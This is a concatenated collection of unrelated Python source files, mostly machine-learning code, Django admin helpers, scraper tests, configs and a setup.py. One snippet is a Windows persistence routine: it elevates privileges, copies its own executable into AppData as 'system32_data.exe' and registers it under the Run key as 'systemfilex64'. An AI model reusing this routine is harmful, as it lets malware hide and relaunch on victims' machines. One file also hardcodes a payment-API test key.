campaign_service.GetMediaMetaDataByIds( MediaIds=media_ids).MediaMetaData output_status_message("MediaMetaData:") output_array_of_mediametadata(get_mediametadata) # Delete the account's media. output_status_message("-----\nDeleteMedia:") delete_media_response = campaign_service.DeleteMedia( authorization_data.account_id, media_ids) for id in media_ids['long']: output_status_message("Deleted Media Id {0}".format(id)) except WebFault as ex: output_webfault_errors(ex) except Exception as ex: output_status_message(ex) def get_image_media( media_type, image_file_name): image = campaign_service.factory.create('Image') image.Data = get_bmp_base64_string(image_file_name) image.MediaType = media_type image.Type = "Image" return image def get_bmp_base64_string(image_file_name): image = open(image_file_name, 'rb') image_bytes = image.read() base64_string = base64.encodestring(image_bytes) return base64_string # Main execution if __name__ == '__main__': print("Loading the web service client proxies...") authorization_data=AuthorizationData( account_id=None, customer_id=None, developer_token=<PASSWORD>, authentication=None, ) campaign_service=ServiceClient( service='CampaignManagementService', version=13, authorization_data=authorization_data, environment=ENVIRONMENT, ) authenticate(authorization_data) main(authorization_data)
67391
import numpy as np import torch import torch.nn.functional as F from nnlib.nnlib import visualizations as vis from nnlib.nnlib import losses, utils from modules import nn_utils from methods.predict import PredictGradBaseClassifier class LIMIT(PredictGradBaseClassifier): """ The main method of "Improving generalization by controlling label-noise information in neural network weights" paper. This method trains a classifier using gradients predict by another network without directly using labels. As in the paper, only the gradient with respect to the output of the last layer is predicted, the remaining gradients are computed using backpropogation, starting with the predicted gradient. For more details, refer to the paper at https://arxiv.org/abs/2002.07933. """ @utils.capture_arguments_of_init def __init__(self, input_shape, architecture_args, device='cuda', grad_weight_decay=0.0, lamb=1.0, sample_from_q=False, q_dist='Gaussian', load_from=None, warm_up=0, **kwargs): """ :param input_shape: the input shape of an example. E.g. for CIFAR-10 this is (3, 32, 32). :param architecture_args: dictionary usually parsed from a json file from the `configs` directory. This specifies the architecture of the classifier and the architecture of the gradient predictor network: `q-network`. If you don't want to parse the networks from arguments, you can modify the code so that self.classifier and self.q_network directly point to the correct models. :param device: the device on which the model is stored and executed. :param grad_weight_decay: the strength of regularization of the mean of the predicted gradients, ||\mu||_2^2. Usually values from [0.03 - 10] work well. Refer to the paper for more guidance. :param lamb: this is the coefficient in front of the H(p, q) term. Unless `sample_from_q=True`, setting this to anything but 1.0 has no effect. When `sample_from_q=True`, `lamb` specifies the variance of the predicted gradients. :param sample_from_q: whether to sample from the q distribution (predicted gradient distribution), or to use the mean. :param q_dist: what distribution predicted gradients should follow. Options are 'Gaussian', 'Laplace', 'ce'. The names of the first 2 speak about themselves and were used in the paper under names LIMIT_G, and LIMIT_L. The option 'ce' corresponds to a hypothetical case when H(p,q) reduces to CE(q_label_pred, actual_label). This latter option may work better for some datasets. When `q_dist=ce`, then `sample_from_q` has to be false. :param load_from: path to a file where another model (already trained) was saved. This will be loaded, and the training will continue from this starting point. Note that the saved model needs to be saved using nnlib.nnlib.utils.save function. :param warm_up: number of initial epochs for which the classifier is not trained at all. This is done to give the q-network enough time to learn meaningful gradient predictions before using those predicted gradients to train the classifier. :param kwargs: additional keyword arguments that are passed to the parent methods. For this class it can be always empty. """ super(LIMIT, self).__init__(**kwargs) self.args = None # this will be modified by the decorator self.input_shape = [None] + list(input_shape) self.architecture_args = architecture_args self.grad_weight_decay = grad_weight_decay self.lamb = lamb self.sample_from_q = sample_from_q self.q_dist = q_dist self.load_from = load_from self.warm_up = warm_up # lamb is the coefficient in front of the H(p,q) term. It controls the variance of predicted gradients. if self.q_dist == 'Gaussian': self.grad_replacement_class = nn_utils.get_grad_replacement_class( sample=self.sample_from_q, standard_dev=np.sqrt(1.0 / 2.0 / (self.lamb + 1e-12)), q_dist=self.q_dist) elif self.q_dist == 'Laplace': self.grad_replacement_class = nn_utils.get_grad_replacement_class( sample=self.sample_from_q, standard_dev=np.sqrt(2.0) / (self.lamb + 1e-6), q_dist=self.q_dist) elif self.q_dist == 'ce': # This is not an actual distributions. Instead, this correspond to hypothetical case when # H(p,q) term results to ce(q_label_pred, actual_label). assert not self.sample_from_q self.grad_replacement_class = nn_utils.get_grad_replacement_class(sample=False) else: raise NotImplementedError() # initialize the network self.classifier, output_shape = nn_utils.parse_network_from_config(args=self.architecture_args['classifier'], input_shape=self.input_shape) self.classifier = self.classifier.to(device) self.num_classes = output_shape[-1] self.q_network, _ = nn_utils.parse_network_from_config(args=self.architecture_args['q-network'], input_shape=self.input_shape) self.q_network = self.q_network.to(device) if self.load_from is not None: print("Loading the gradient predictor model from {}".format(load_from)) import methods stored_net = utils.load(load_from, methods=methods, device='cpu') stored_net_params = dict(stored_net.classifier.named_parameters()) for key, param in self.q_network.named_parameters(): param.data = stored_net_params[key].data.to(device) def forward(self, inputs, grad_enabled=False, **kwargs): torch.set_grad_enabled(grad_enabled) x = inputs[0].to(self.device) # compute classifier predictions pred = self.classifier(x) # predict the gradient wrt to logits q_label_pred = self.q_network(x) q_label_pred_softmax = torch.softmax(q_label_pred, dim=1) # NOTE: we detach here too, so that the classifier is trained using the predicted gradient only pred_softmax = torch.softmax(pred, dim=1).detach() grad_pred = pred_softmax - q_label_pred_softmax # replace the gradients pred_before = pred pred = self.grad_replacement_class.apply(pred, grad_pred) out = { 'pred': pred, 'q_label_pred': q_label_pred, 'grad_pred': grad_pred, 'pred_before': pred_before } return out def compute_loss(self, inputs, labels, outputs, grad_enabled, **kwargs): torch.set_grad_enabled(grad_enabled) pred_before = outputs['pred_before'] grad_pred = outputs['grad_pred'] y = labels[0].to(self.device) y_one_hot = F.one_hot(y, num_classes=self.num_classes).float() # classification loss classifier_loss = F.cross_entropy(input=outputs['pred'], target=y) # compute the actual gradient # NOTE: we detach here too, so that the classifier is trained using the predicted gradient only pred_softmax = torch.softmax(pred_before.detach(), dim=1) grad_actual = pred_softmax - y_one_hot # I(g : y | x) penalty if self.q_dist == 'Gaussian': info_penalty = losses.mse(grad_pred, grad_actual) elif self.q_dist == 'Laplace': info_penalty = losses.mae(grad_pred, grad_actual) elif self.q_dist == 'ce': info_penalty = losses.get_classification_loss(target=y_one_hot, pred=outputs['q_label_pred'], loss_function='ce') else: raise NotImplementedError() batch_losses = { 'classifier': classifier_loss, 'info_penalty': info_penalty } # add predicted gradient norm penalty if self.grad_weight_decay > 0: grad_l2_loss = self.grad_weight_decay * \ torch.mean(torch.sum(grad_pred ** 2, dim=1), dim=0) batch_losses['pred_grad_l2'] = grad_l2_loss return batch_losses, outputs def on_epoch_start(self, partition, epoch, **kwargs): super(LIMIT, self).on_epoch_start(partition=partition, epoch=epoch, **kwargs) if partition == 'train': requires_grad = (epoch >= self.warm_up) for param in self.classifier.parameters(): param.requires_grad = requires_grad def visualize(self, train_loader, val_loader, tensorboard=None, epoch=None, **kwargs): visualizations = super(LIMIT, self).visualize(train_loader, val_loader, tensorboard, epoch) # visualize q_label_pred fig, _ = vis.plot_predictions(self, train_loader, key='q_label_pred') visualizations['predictions/q-label-pred-train'] = fig if val_loader is not None: fig, _ = vis.plot_predictions(self, val_loader, key='q_label_pred') visualizations['predictions/q-label-pred-val'] = fig return visualizations
67425
from .transformation_workflows import (AffineTransformationWorkflow, LinearTransformationWorkflow, TransformixCoordinateTransformationWorkflow, TransformixTransformationWorkflow)
67447
import os, subprocess if __name__ == "__main__": move_into_container = list() if input("Do you want to move some of your local files into to container? This will overwrite files from origin/master. (y/n) ").startswith("y"): for f in sorted(os.listdir()): if input("Move %s into container (y/n)? " % f).startswith("y"): move_into_container.append(f) if move_into_container: subprocess.call(["tar", "-czvf", "move_into_container.tar.gz"] + move_into_container) image_name = input("Name of Image? (Default: Auto-PyTorch.simg) ") or "Auto-PyTorch.simg" if os.path.exists(image_name) and input("%s exists. Remove (y/n)? " % image_name).startswith("y"): os.remove(image_name) print("Building Singularity container. You need to be root for that.") subprocess.call(["sudo", "singularity", "build", image_name, "scripts/Singularity"]) if move_into_container: os.remove("move_into_container.tar.gz")
67454
from easydict import EasyDict as edict import numpy as np config = edict() config.IMG_HEIGHT = 375 config.IMG_WIDTH = 1242 # TODO(shizehao): infer fea shape in run time config.FEA_HEIGHT = 12 config.FEA_WIDTH = 39 config.EPSILON = 1e-16 config.LOSS_COEF_BBOX = 5.0 config.LOSS_COEF_CONF_POS = 75.0 config.LOSS_COEF_CONF_NEG = 100.0 config.LOSS_COEF_CLASS = 1.0 config.EXP_THRESH = 1.0 config.RBG_MEANS = np.array([[[ 123.68, 116.779, 103.939]]]) def set_anchors(H, W): B = 9 shape = np.array( [[ 36., 37.], [ 366., 174.], [ 115., 59.], [ 162., 87.], [ 38., 90.], [ 258., 173.], [ 224., 108.], [ 78., 170.], [ 72., 43.]]) # # scale # shape[:, 0] = shape[:, 0] / config.IMG_HEIGHT # shape[:, 1] = shape[:, 1] / config.IMG_WIDTH anchor_shapes = np.reshape( [shape] * H * W, (H, W, B, 2) ) center_x = np.reshape( np.transpose( np.reshape( np.array([np.arange(1, W+1)*float(config.IMG_WIDTH)/(W+1)]*H*B), (B, H, W) ), (1, 2, 0) ), (H, W, B, 1) ) center_y = np.reshape( np.transpose( np.reshape( np.array([np.arange(1, H+1)*float(config.IMG_HEIGHT)/(H+1)]*W*B), (B, W, H) ), (2, 1, 0) ), (H, W, B, 1) ) anchors = np.reshape( np.concatenate((center_x, center_y, anchor_shapes), axis=3), (-1, 4) ) return anchors config.ANCHOR_SHAPE = set_anchors(config.FEA_HEIGHT, config.FEA_WIDTH) config.NUM_ANCHORS = 9 config.NUM_CLASSES = 3 config.ANCHORS = config.NUM_ANCHORS * config.FEA_HEIGHT * config.FEA_WIDTH config.PLOT_PROB_THRESH = 0.4 config.NMS_THRESH = 0.4 config.PROB_THRESH = 0.005 config.TOP_N_DETECTION = 64
67472
def forrest(self): '''Random Forrest based reduction strategy. Somewhat more aggressive than for example 'spearman' because there are no negative values, but instead the highest positive correlation is minused from all the values so that max value is 0, and then values are turned into positive. The one with the highest positive score in the end will be dropped. This means that anything with 0 originally, is a candidate for dropping. Because there are multiple zeroes in many cases, there is an element of randomness on which one is dropped. ''' import wrangle import numpy as np # handle conversion to multi_labels from .reduce_utils import cols_to_multilabel data = cols_to_multilabel(self) # get the correlations corr_values = wrangle.df_corr_randomforest(data, self.reduction_metric) # drop labels where value is NaN corr_values.dropna(inplace=True) # handle the turning around of values (see docstring for more info) corr_values -= corr_values[0] corr_values = corr_values.abs() # get the strongest correlation corr_values = corr_values.index[-1] # get the label, value, and dtype from the column header label, dtype, value = corr_values.split('~') # convert things back to their original dtype value = np.array([value]).astype(dtype)[0] # this is where we modify the parameter space accordingly self.param_object.remove_is(label, value) return self
67476
sns.catplot(data=density_mean, kind="bar", x='Bacterial_genotype', y='optical_density', hue='Phage_t', row="experiment_time_h", sharey=False, aspect=3, height=3, palette="colorblind")
67517
import torch from torch import nn from torch.autograd import Variable import random print_shape_flag = True class Seq2Seq(nn.Module): def __init__(self, encoder, decoder, output_max_len, vocab_size): super(Seq2Seq, self).__init__() self.encoder = encoder self.decoder = decoder self.output_max_len = output_max_len self.vocab_size = vocab_size # src: Variable # tar: Variable def forward(self, src, tar, src_len, lambd, teacher_rate, train=True): tar = tar.permute(1, 0) # time_s, batch batch_size = src.size(0) #max_len = tar.size(0) # <go> true_value <end> outputs = Variable(torch.zeros(self.output_max_len-1, batch_size, self.vocab_size), requires_grad=True) # (14, 32, 62) not save the first <GO> outputs = outputs.cuda() #src = Variable(src) out_enc, hidden_enc, out_domain = self.encoder(src, src_len, lambd) # t,b,f layers, b,f b, fixed_length global print_shape_flag if print_shape_flag: print('First batch shape: (The shape of batches are not same)') print(out_enc.shape, self.output_max_len) print_shape_flag = False output = Variable(self.one_hot(tar[0].data)) attns = [] hidden = hidden_enc #hidden = hidden_enc.unsqueeze(0) # 1, batch, hidden_size #init_hidden_dec = [hidden] * self.decoder.n_layers #hidden = torch.cat(init_hidden_dec, dim=0) attn_weights = Variable(torch.zeros(out_enc.shape[1], out_enc.shape[0]), requires_grad=True).cuda() # b, t for t in range(0, self.output_max_len-1): # max_len: groundtruth + <END> teacher_force_rate = random.random() < teacher_rate output, hidden, attn_weights = self.decoder( output, hidden, out_enc, src_len, attn_weights) outputs[t] = output #top1 = output.data.topk(1)[1].squeeze() output = Variable(self.one_hot(tar[t+1].data) if train and teacher_force_rate else output.data) attns.append(attn_weights.data.cpu()) # [(32, 55), ...] return outputs, attns, out_domain def one_hot(self, src): # src: torch.cuda.LongTensor ones = torch.eye(self.vocab_size).cuda() return ones.index_select(0, src)
67542
from django.urls import reverse from django.contrib.admin.templatetags.admin_modify import submit_row from django.utils.encoding import force_text from django.template import Library register = Library() @register.inclusion_tag('subadmin/breadcrumbs.html', takes_context=True) def subadmin_breadcrumbs(context): request = context['request'] opts = context['opts'] root = { 'name': request.subadmin.root['object']._meta.app_config.verbose_name, 'url': reverse('admin:app_list', kwargs={'app_label': request.subadmin.root['object']._meta.app_label}) } breadcrumbs =[] view_args = list(request.subadmin.view_args) i = 0 subadmin_parents = request.subadmin.parents[::-1] for parent in subadmin_parents: adm = parent['admin'] obj = parent['object'] breadcrumbs.extend([{ 'name': obj._meta.verbose_name_plural, 'url': adm.reverse_url('changelist', *view_args[:i]), 'has_change_permission': adm.has_change_permission(request), }, { 'name': force_text(obj), 'url': adm.reverse_url('change', *view_args[:i + 1]), 'has_change_permission': adm.has_change_permission(request, obj), }]) i += 1 return { 'root': root, 'breadcrumbs': breadcrumbs, 'opts': opts, } @register.simple_tag(takes_context=True) def subadmin_url(context, viewname, *args, **kwargs): subadmin = context['request'].subadmin view_args = subadmin.base_url_args[:-1] if subadmin.object_id else subadmin.base_url_args return reverse('admin:%s_%s' % (subadmin.base_viewname, viewname), args=view_args + list(args), kwargs=kwargs) @register.inclusion_tag('subadmin/submit_line.html', takes_context=True) def subadmin_submit_row(context): ctx = submit_row(context) ctx.update({ 'request': context['request'] }) return ctx
67552
import balanced balanced.configure('ak-test-2eKlj1ZDfAcZSARMf3NMhBHywDej0avSY') reversal = balanced.Reversal.fetch('/reversals/RV6AleFrrhNHBDpr9W9ozGmY') reversal.description = 'update this description' reversal.meta = { 'user.refund.count': '3', 'refund.reason': 'user not happy with product', 'user.notes': 'very polite on the phone', } reversal.save()
67572
from datetime import datetime from os.path import dirname, join from unittest.mock import MagicMock import pytest from city_scrapers_core.constants import BOARD, TENTATIVE from city_scrapers_core.utils import file_response from freezegun import freeze_time from city_scrapers.spiders.chi_library import ChiLibrarySpider freezer = freeze_time("2018-12-20") freezer.start() session = MagicMock() res_mock = MagicMock() res_mock.status_code = 200 session.get.return_value = res_mock test_response = file_response( join(dirname(__file__), "files", "chi_library.html"), url="https://www.chipublib.org/board-of-directors/board-meeting-schedule/", ) spider = ChiLibrarySpider(session=session) parsed_items = [item for item in spider.parse(test_response)] freezer.stop() def test_title(): assert parsed_items[0]["title"] == "Board of Directors" def test_description(): assert parsed_items[0]["description"] == "" def test_start(): assert parsed_items[0]["start"] == datetime(2021, 1, 26, 9) def test_id(): assert parsed_items[0]["id"] == "chi_library/202101260900/x/board_of_directors" def test_status(): assert parsed_items[0]["status"] == TENTATIVE def test_all_day(): assert parsed_items[0]["all_day"] is False def test_location(): assert parsed_items[0]["location"] == { "address": "", "name": "Virtual", } def test_links(): assert parsed_items[0]["links"] == [ { "href": "https://www.chipublib.org/news/board-of-directors-meeting-agenda-january-26-2021/", # noqa "title": "Agenda", }, { "href": "https://www.chipublib.org/news/board-of-directors-meeting-minutes-january-26-2021/", # noqa "title": "Minutes", }, ] @pytest.mark.parametrize("item", parsed_items) def test_classification(item): assert item["classification"] == BOARD @pytest.mark.parametrize("item", parsed_items) def test_end(item): assert item["end"] is None @pytest.mark.parametrize("item", parsed_items) def test_source(item): assert ( item["source"] == "https://www.chipublib.org/board-of-directors/board-meeting-schedule/" )
67574
from threading import Thread from queue import Queue import numpy as np from ...libffcv import read class PageReader(Thread): def __init__(self, fname:str, queries: Queue, loaded: Queue, memory: np.ndarray): self.fname: str = fname self.queries: Queue = queries self.memory: np.ndarray = memory self.page_size = memory.shape[1] self.loaded: Queue = loaded super().__init__(daemon=True) def run(self): import hashlib with open(self.fname, 'rb') as handle: fileno = handle.fileno() while True: query = self.queries.get() # No more work if query is None: break page_number, slot = query offset = np.uint64(page_number * self.page_size) length = read(fileno, self.memory[slot], offset) # print("L", page_number, slot, hashlib.md5(self.memory[slot]).hexdigest(), self.memory[slot].ctypes.data, length) self.loaded.put(page_number)
67577
import os import shutil import winreg import sys import time from elevate import elevate elevate() print("elevated") curr_executable = sys.executable print(curr_executable) time.sleep(5) app_data = os.getenv("APPDATA") to_save_file = app_data +"\\"+"system32_data.exe" time.sleep(5) print(to_save_file) if not os.path.exists(to_save_file): print("Becoming Persistent") shutil.copyfile(curr_executable, to_save_file) key = winreg.HKEY_CURRENT_USER # "Software\Microsoft\Windows\CurrentVersion\Run" key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file) winreg.CloseKey(key_obj) else: print("path doesnt exist") time.sleep(100)
67579
import SimpleITK as sitk import numpy as np #from segmentation.lungmask import mask import glob from tqdm import tqdm import os from segmentation.predict import predict,get_model #from segmentation.unet import UNet os.environ["CUDA_VISIBLE_DEVICES"] = '6' lung_dir = '/mnt/data11/seg_of_XCT/lung/CAP/' leision_dir = '/mnt/data11/seg_of_XCT/lesion/CAP/' root_dir = '/home/cwx/extra/dr_ct_data/CT/CAP' filelist = glob.glob(root_dir) os.makedirs(leision_dir,exist_ok=True) model2 = './checkpoint_final.pth' model = get_model(model2,n_classes=2) print('get model done') for filepath in filelist: imagelist = glob.glob(filepath+'/*.nii') for imagepath in tqdm(imagelist, dynamic_ncols=True): imagename = imagepath.split('/')[-1] batch_id = imagepath.split('/')[-2] if os.path.exists(leision_dir+batch_id+'_'+imagename.replace('.nii','_label.nrrd')): print(imagename) continue input_image = sitk.ReadImage(imagepath) segmentation = predict(input_image, model = model,batch_size=16,lesion=True) segmentation[segmentation>1]=1 lung_image = sitk.ReadImage(lung_dir+batch_id+'_'+imagename) lung_data = sitk.GetArrayFromImage(lung_image) leision_seg = lung_data*segmentation leision_seg=np.array(leision_seg,np.uint8) result_out= sitk.GetImageFromArray(leision_seg) result_out.CopyInformation(input_image) sitk.WriteImage(result_out,leision_dir+batch_id+'_'+imagename.replace('.nii','_label.nrrd')) print(imagename)
67616
from typing import Callable def rpc(*, name) -> Callable: """Decorate a coroutine as an RPC method that can be executed by the server. Args: name: The name of the RPC method Returns: A decorator that will mark the coroutine as an RPC method """ def decorator(func) -> Callable: func.__rpc_handler__ = True func.__name__ = name or func.__name__ return func return decorator
67656
from django.contrib import admin from api.logger import logger from api.models import User import registrations.models as models from reversion_compare.admin import CompareVersionAdmin class PendingAdmin(CompareVersionAdmin): search_fields = ('user__username', 'user__email', 'admin_contact_1', 'admin_contact_2') list_display = ( 'get_username_and_mail', 'created_at', 'admin_contact_1', 'admin_1_validated', 'admin_1_validated_date', 'admin_contact_2', 'admin_2_validated', 'admin_2_validated_date', 'email_verified', 'user_is_active' ) actions = ('activate_users',) # Get the 'user' objects with a JOIN query def get_queryset(self, request): return super().get_queryset(request).select_related('user') def get_username_and_mail(self, obj): return obj.user.username + ' - ' + obj.user.email def user_is_active(self, obj): return 'Yes' if obj.user.is_active else '' def activate_users(self, request, queryset): for pu in queryset: usr = User.objects.filter(id=pu.user_id).first() if usr: if usr.is_active is False: usr.is_active = True usr.save() else: logger.info(f'User {usr.username} was already active') else: logger.info(f'There is no User record with the ID: {pu.user_id}') def get_actions(self, request): actions = super(PendingAdmin, self).get_actions(request) if not request.user.is_superuser: del actions['activate_users'] return actions class DomainWhitelistAdmin(CompareVersionAdmin): list_display = ('domain_name', 'description', 'is_active') search_fields = ('domain_name',) ordering = ('domain_name',) admin.site.register(models.Pending, PendingAdmin) admin.site.register(models.DomainWhitelist, DomainWhitelistAdmin)
67675
import numpy as np from scipy import interpolate from progressbar import ProgressBar, Bar, Percentage class ImpulseResponseFunction(object): '''Internal bemio object to contain impulse response function (IRF) data ''' pass class WaveElevationTimeSeries(object): '''Internal bemio object to contain wave elevation time series data ''' pass class WaveExcitationForce(object): '''Internal bemio object to contain wave excitation force data ''' pass class WaveExcitationConvolution(object): ''' Object for calculating wave excitation force time history using the convolution method Parameters: irf : np.array Wave excitation force impulse response function. irf_t : np.array Time series corresponding to `irf` eta : np.array Wave elevation time series eta_t : np.array Time series corresponding to `eta` Attribuites: self.irf : ImpulseResponseFunction Object containing excitation force IRF information self.wave_elevation : WaveElevationTimeSeries Object containing wave elevation time series data self.excitation_force : WaveExcitationForce Object containing wave excitation force data ''' def __init__(self, irf, irf_t, eta, eta_t): self.irf = ImpulseResponseFunction() self.wave_elevation = WaveElevationTimeSeries() self.excitation_force = WaveExcitationForce() self.irf.f = irf self.irf.t = irf_t self.wave_elevation.eta = eta self.wave_elevation.t = eta_t self.wave_elevation.dt = self.wave_elevation.t[1] - self.wave_elevation.t[0] self._excitation_convolution() def _excitation_convolution(self): '''Internal function to perform the wave excitation convolution ''' eta_interp = interpolate.interp1d(x=self.wave_elevation.t, y=self.wave_elevation.eta, bounds_error=False, fill_value=0.) irf_interp = interpolate.interp1d(x=self.irf.t, y=self.irf.f, bounds_error=False, fill_value=0.) # Interpolate the IRF to the dt as the wave elevation data irf = irf_interp(np.linspace(self.irf.t.min(),self.irf.t.max(),(self.irf.t.max()-self.irf.t.min())/self.wave_elevation.dt+1)) # Assume that the IRF dt is used unless specified by the user # if self.excitation_force.dt is None: # self.excitation_force.dt = self.irf.t[1] - self.irf.t[0] # This code caluclates the wave excitation force manually - the below method that uses the convolve function is much more efficient # self.excitation_force.t = np.linspace(self.wave_elevation.t.min(), self.wave_elevation.t.max(), (self.wave_elevation.t.max()-self.wave_elevation.t.min())/self.excitation_force.dt+1) # pbar_max_val = self.excitation_force.t.max() # pbar = ProgressBar(widgets=['Calculating the excitation force time history:', Percentage(), Bar()], maxval=pbar_max_val).start() # f_ex = [] # for t in self.excitation_force.t: # f_ex.append(np.trapz(y=irf_interp(self.irf.t)*eta_interp(t-self.irf.t),x=self.irf.t)) # # pbar.update(t) # pbar.finish() f_ex_conv = np.convolve(self.wave_elevation.eta, irf, mode='same')*self.wave_elevation.dt self.excitation_force.f = np.array(f_ex_conv) self.excitation_force.t = self.wave_elevation.t def convolution(irf, irf_t, eta, eta_t, dt=None): ''' Function to calculate wave excitation force using the convolution method Patrameters: irf : np.array Wave excitation force impulse response function. irf_t : np.array Time series corresponding to `irf` eta : np.array Wave elevation time series eta_t : np.array Time series corresponding to `eta` dt : float, optional Time step for calculating the Returns: excitation_force : WaveExcitationConvolution This function returns a `WaveExcitationConvolution` object with the wave exciting force and other information. See the `WaveExcitationConvolution` for more information. Example: The following example assumes that variables `irf`, `irf_t`, `eta`, and `eta_t` of type type(np.array) exist in the workspace. The contents of these variables are described above. Calculate excitation force using the convolution method >>> ex = convolution(irf=irf, irf_t=irf_t, eta=eta, eta_t=eta_t) Plot the data >>> plt.figure() >>> plt.plot(ex.excitation_force.t,ex.excitation_force.f) ''' excitation_force = WaveExcitationConvolution(irf, irf_t, eta, eta_t) return excitation_force
67758
def regularized_MSE_loss(output, target, weights=None, L2_penalty=0, L1_penalty=0): """loss function for MSE Args: output (torch.Tensor): output of network target (torch.Tensor): neural response network is trying to predict weights (torch.Tensor): fully-connected layer weights of network (net.out_layer.weight) L2_penalty : scaling factor of sum of squared weights L1_penalty : scalaing factor for sum of absolute weights Returns: (torch.Tensor) mean-squared error with L1 and L2 penalties added """ loss_fn = nn.MSELoss() loss = loss_fn(output, target) if weights is not None: L2 = L2_penalty * torch.square(weights).sum() L1 = L1_penalty * torch.abs(weights).sum() loss += L1 + L2 return loss # Initialize network net = ConvFC(n_neurons) # Train network train_loss, test_loss = train(net, regularized_MSE_loss, stim_binary, resp_train, test_data=stim_binary, test_labels=resp_test, learning_rate=10, n_iter=500, L2_penalty=1e-4, L1_penalty=1e-6) # Plot the training loss over iterations of GD with plt.xkcd(): plot_training_curves(train_loss, test_loss)
67807
import numpy as np import tensorflow as tf class batch_norm(object): """Code modification of http://stackoverflow.com/a/33950177""" def __init__(self, epsilon=1e-5, momentum = 0.9, name="batch_norm"): with tf.variable_scope(name): self.epsilon = epsilon self.momentum = momentum self.ema = tf.train.ExponentialMovingAverage(decay=self.momentum) self.name = name def __call__(self, x, train=True): shape = x.get_shape().as_list() if train: with tf.variable_scope(self.name) as scope: self.beta = tf.get_variable("beta", [shape[-1]], initializer=tf.constant_initializer(0.)) self.gamma = tf.get_variable("gamma", [shape[-1]], initializer=tf.random_normal_initializer(1., 0.02)) batch_mean, batch_var = tf.nn.moments(x, [0, 1, 2], name='moments') ema_apply_op = self.ema.apply([batch_mean, batch_var]) self.ema_mean, self.ema_var = self.ema.average(batch_mean), self.ema.average(batch_var) with tf.control_dependencies([ema_apply_op]): mean, var = tf.identity(batch_mean), tf.identity(batch_var) else: mean, var = self.ema_mean, self.ema_var normed = tf.nn.batch_norm_with_global_normalization( x, mean, var, self.beta, self.gamma, self.epsilon, scale_after_normalization=True) return normed # standard convolution layer def conv2d(x, filter_size, stride, inputFeatures, outputFeatures, name): with tf.variable_scope(name): w = tf.get_variable("w",[filter_size,filter_size,inputFeatures, outputFeatures], initializer=tf.truncated_normal_initializer(stddev=0.02)) b = tf.get_variable("b",[outputFeatures], initializer=tf.constant_initializer(0.0)) conv = tf.nn.conv2d(x, w, strides=[1,stride,stride,1], padding="SAME") + b return conv def conv_transpose(x, filter_size, stride, outputShape, name): with tf.variable_scope(name): # h, w, out, in w = tf.get_variable("w",[filter_size,filter_size, outputShape[-1], x.get_shape()[-1]], initializer=tf.truncated_normal_initializer(stddev=0.02)) b = tf.get_variable("b",[outputShape[-1]], initializer=tf.constant_initializer(0.0)) convt = tf.nn.conv2d_transpose(x, w, output_shape=outputShape, strides=[1,stride,stride,1]) return convt # leaky reLu unit def lrelu(x, leak=0.2, name="lrelu"): with tf.variable_scope(name): f1 = 0.5 * (1 + leak) f2 = 0.5 * (1 - leak) return f1 * x + f2 * abs(x) # fully-conected layer def dense(x, inputFeatures, outputFeatures, scope=None, with_w=False): with tf.variable_scope(scope or "Linear"): matrix = tf.get_variable("Matrix", [inputFeatures, outputFeatures], tf.float32, tf.random_normal_initializer(stddev=0.02)) bias = tf.get_variable("bias", [outputFeatures], initializer=tf.constant_initializer(0.0)) if with_w: return tf.matmul(x, matrix) + bias, matrix, bias else: return tf.matmul(x, matrix) + bias
67815
from setuptools import setup, find_packages setup( name="commandment", version="0.1", description="Commandment is an Open Source Apple MDM server with support for managing iOS and macOS devices", packages=['commandment'], include_package_data=True, author="mosen", license="MIT", url="https://github.com/cmdmnt/commandment", classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3.6' ], keywords='MDM', install_requires=[ 'acme==0.34.2', 'alembic==1.0.10', 'apns2-client==0.5.4', 'asn1crypto==0.24.0', 'authlib==0.11', 'biplist==1.0.3', 'blinker>=1.4', 'cryptography==2.6.1', 'flask==1.0.3', 'flask-alembic==2.0.1', 'flask-cors==3.0.4', 'flask-jwt==0.3.2', 'flask-marshmallow==0.10.1', 'flask-rest-jsonapi==0.29.0', 'flask-sqlalchemy==2.4.0', 'marshmallow==2.18.0', 'marshmallow-enum==1.4.1', 'marshmallow-jsonapi==0.21.0', 'marshmallow-sqlalchemy==0.16.3', 'oscrypto==0.19.1', 'passlib==1.7.1', 'requests==2.22.0', 'semver', 'sqlalchemy==1.3.3', 'typing==3.6.4' ], python_requires='>=3.6', tests_require=[ 'factory-boy==2.10.0', 'faker==0.8.10', 'mock==2.0.0', 'mypy==0.560' 'pytest==3.4.0', 'pytest-runner==3.0' ], extras_requires={ 'ReST': [ 'sphinx-rtd-theme', 'guzzle-sphinx-theme', 'sadisplay==0.4.8', 'sphinx==1.7.0b2', 'sphinxcontrib-httpdomain==1.6.0', 'sphinxcontrib-napoleon==0.6.1', 'sphinxcontrib-plantuml==0.10', ], 'macOS': [ 'pyobjc' ] }, setup_requires=['pytest-runner'], entry_points={ 'console_scripts': [ 'commandment=commandment.cli:server', 'appmanifest=commandment.pkg.appmanifest:main', ] }, zip_safe=False )
67874
from streamlink.plugins.oneplusone import OnePlusOne from tests.plugins import PluginCanHandleUrl class TestPluginCanHandleUrlOnePlusOne(PluginCanHandleUrl): __plugin__ = OnePlusOne should_match = [ "https://1plus1.video/ru/tvguide/plusplus/online", "https://1plus1.video/tvguide/1plus1/online", "https://1plus1.video/tvguide/2plus2/online", "https://1plus1.video/tvguide/bigudi/online", "https://1plus1.video/tvguide/plusplus/online", "https://1plus1.video/tvguide/sport/online", "https://1plus1.video/tvguide/tet/online", "https://1plus1.video/tvguide/uniantv/online", ] should_not_match = [ "https://1plus1.video/", ]
67884
def hey(phrase): phrase = phrase.strip() if not phrase: return "Fine. Be that way!" elif phrase.isupper(): return "Whoa, chill out!" elif phrase.endswith("?"): return "Sure." else: return 'Whatever.'
67892
